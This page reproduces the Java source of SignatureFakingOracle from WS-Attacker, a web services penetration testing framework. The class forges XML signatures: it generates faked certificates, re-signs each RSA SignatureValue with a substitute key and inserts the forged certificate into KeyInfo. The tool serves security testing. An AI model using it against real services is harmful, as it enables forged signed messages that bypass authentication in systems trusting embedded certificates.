wsattacker.library.signatureFaking.SignatureFakingOracle.java Source code

Java tutorial

Introduction

Here is the source code for wsattacker.library.signatureFaking.SignatureFakingOracle.java

Source

/**
 * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright
 * (C) 2013 Juraj Somorovsky
 *
 * This program is free software; you can redistribute it and/or modify it under
 * the terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
 * details.
 *
 * You should have received a copy of the GNU General Public License along with
 * this program; if not, write to the Free Software Foundation, Inc., 51
 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 */
/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package wsattacker.library.signatureFaking;

import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Security;
import java.util.LinkedList;
import java.util.List;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import org.apache.commons.codec.binary.Base64;
import org.apache.log4j.Logger;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import wsattacker.library.signatureFaking.exceptions.CertificateHandlerException;
import wsattacker.library.signatureFaking.exceptions.SignatureFakingException;
import wsattacker.library.signatureFaking.helper.CertificateHandler;
import wsattacker.library.xmlutilities.namespace.NamespaceConstants;
import wsattacker.library.xmlutilities.dom.DomUtilities;

/**
 * Creates faked signatures by issuing a new certificate and resigning the original signature value
 * 
 * @author Juraj Somorovsky - juraj.somorovsky@rub.de
 * @version 0.1
 */
public class SignatureFakingOracle {

    private Document doc;

    private List<Node> signatureValueElements;

    private List<Node> keyInfoElements;

    private List<String> certificates;

    private List<CertificateHandler> certHandlers;

    private Logger log = Logger.getLogger(SignatureFakingOracle.class);

    /**
     * Creates SignatureWrappingOracle, parses the document and searches for all the SignatureValue and KeyInfo elements
     * 
     * @param documentString
     * @throws SignatureFakingException
     */
    public SignatureFakingOracle(final String documentString) throws SignatureFakingException {
        Security.addProvider(new BouncyCastleProvider());
        signatureValueElements = new LinkedList<Node>();
        keyInfoElements = new LinkedList<Node>();
        certificates = new LinkedList<String>();
        certHandlers = new LinkedList<CertificateHandler>();
        try {
            doc = DomUtilities.stringToDom(documentString);
            crawlSignatureElements();
            log.debug("found " + signatureValueElements.size() + " SignatureValue elements");
            crawlKeyInfoElements();
            log.debug("found " + keyInfoElements.size() + " KeyInfo elements containing X509 certificates");
        } catch (SAXException e) {
            throw new SignatureFakingException(e);
        }
    }

    /**
     * Creates fake signatures
     * 
     * @throws SignatureFakingException
     */
    public void fakeSignatures() throws SignatureFakingException {
        try {
            createFakedCertificates();
            for (int i = 0; i < signatureValueElements.size(); i++) {
                fakeSignature(i);
            }

        } catch (CertificateHandlerException e) {
            throw new SignatureFakingException(e);
        }
    }

    public void fakeSignature(int i) throws CertificateHandlerException, SignatureFakingException {
        if (signatureValueElements.size() != certHandlers.size()) {
            createFakedCertificates();
        }
        String signature = signatureValueElements.get(i).getTextContent();
        CertificateHandler ch = certHandlers.get(i);
        byte[] newSignature = resignValue(Base64.decodeBase64(signature), ch);
        signatureValueElements.get(i).setTextContent(new String(Base64.encodeBase64(newSignature)));
        appendCertificate(keyInfoElements.get(i), ch.getFakedCertificateString());
    }

    private void createFakedCertificates() throws CertificateHandlerException {
        for (String cert : certificates) {
            CertificateHandler ch = new CertificateHandler(cert);
            ch.createFakedCertificate();
            certHandlers.add(ch);
        }
    }

    /**
     * @return True if the signature contains public key information (X509 certificate in the KeyInfo element)
     */
    public boolean certificateProvided() {
        if (certificates.size() > 0) {
            return true;
        } else {
            return false;
        }
    }

    public void setCertificate(String cert) {
        certificates.clear();
        // we want to have so many certificates as many signature values
        for (int i = 0; i < signatureValueElements.size(); i++) {
            certificates.add(cert);
        }
    }

    /**
     * Crawls all the collected KeyInfo elements and extracts certificates
     */
    private void crawlKeyInfoElements() {
        for (Node ki : keyInfoElements) {
            List<Element> l = DomUtilities.findChildren(ki, "X509Certificate", NamespaceConstants.URI_NS_DS, true);
            if (l.size() > 0) {
                Node x509cert = l.get(0);
                if (x509cert != null && x509cert.getLocalName().equals("X509Certificate")) {
                    certificates.add(x509cert.getTextContent());
                }
            }
        }
    }

    private void crawlSignatureElements() throws SignatureFakingException {
        // TODO replace with DOMUtilities
        NodeList nl = getSignatureElements();
        for (int i = 0; i < nl.getLength(); i++) {
            Node n = nl.item(i);
            NodeList children = n.getChildNodes();
            for (int j = 0; j < children.getLength(); j++) {
                Node current = children.item(j);
                if (current.getNodeType() == Node.ELEMENT_NODE) {
                    if (current.getLocalName().equals("SignedInfo")) {
                        Element signatureMethod = DomUtilities
                                .findChildren(current, "SignatureMethod", NamespaceConstants.URI_NS_DS, false)
                                .get(0);
                        if (signatureMethod != null && (!isSignatureMethodSupported(signatureMethod))) {
                            throw new SignatureFakingException("Signature " + "Algorithm not yet supported");
                        }
                    } else if (current.getLocalName().equals("SignatureValue")) {
                        signatureValueElements.add(current);
                    } else if (current.getLocalName().equals("KeyInfo")) {
                        keyInfoElements.add(current);
                    }
                }
            }
        }
    }

    private boolean isSignatureMethodSupported(Node signatureMethodElement) {
        NamedNodeMap nl = signatureMethodElement.getAttributes();
        Node n = nl.getNamedItem("Algorithm");
        if (n != null) {
            String algorithm = n.getTextContent();
            if (algorithm.contains("rsa-sha")) {
                return true;
            }
        }
        return false;
    }

    private void appendCertificate(Node keyInfo, String certificate) {
        keyInfo.setTextContent("");
        String prefix = keyInfo.getPrefix();
        if (prefix == null) {
            prefix = "";
        } else {
            prefix = prefix + ":";
        }
        Node data = keyInfo.getOwnerDocument().createElementNS(NamespaceConstants.URI_NS_DS, prefix + "X509Data");
        keyInfo.appendChild(data);
        Node cert = keyInfo.getOwnerDocument().createElementNS(NamespaceConstants.URI_NS_DS,
                prefix + "X509Certificate");
        data.appendChild(cert);
        cert.setTextContent(certificate);
        log.debug("Appending Certificate \r\n" + certificate + "\r\nto the" + prefix + "X509Certificate element");
    }

    private byte[] resignValue(byte[] signatureValue, CertificateHandler ch) throws SignatureFakingException {
        PrivateKey privKey = ch.getFakedKeyPair().getPrivate();
        PublicKey pubKey = ch.getOriginalPublicKey();
        String alg = ch.getFakedCertificate().getSigAlgName();
        if (alg.contains("RSA")) {
            try {
                Cipher cipher = Cipher.getInstance("RSA/None/NoPadding");
                cipher.init(Cipher.ENCRYPT_MODE, pubKey);
                byte[] unsigend = cipher.doFinal(signatureValue);

                cipher = Cipher.getInstance("RSA/None/NoPadding");
                cipher.init(Cipher.DECRYPT_MODE, privKey);
                log.debug("New Signature value computed");
                return cipher.doFinal(unsigend);
            } catch (BadPaddingException e) {
                throw new SignatureFakingException(e);
            } catch (IllegalBlockSizeException e) {
                throw new SignatureFakingException(e);
            } catch (InvalidKeyException e) {
                throw new SignatureFakingException(e);
            } catch (NoSuchAlgorithmException e) {
                throw new SignatureFakingException(e);
            } catch (NoSuchPaddingException e) {
                throw new SignatureFakingException(e);
            }
        } else {
            return null;
        }
    }

    private NodeList getSignatureElements() {
        return doc.getElementsByTagNameNS(NamespaceConstants.URI_NS_DS, "Signature");
    }

    public List<String> getCertificates() {
        return certificates;
    }

    public String getDocument() {
        return DomUtilities.domToString(doc);
    }
}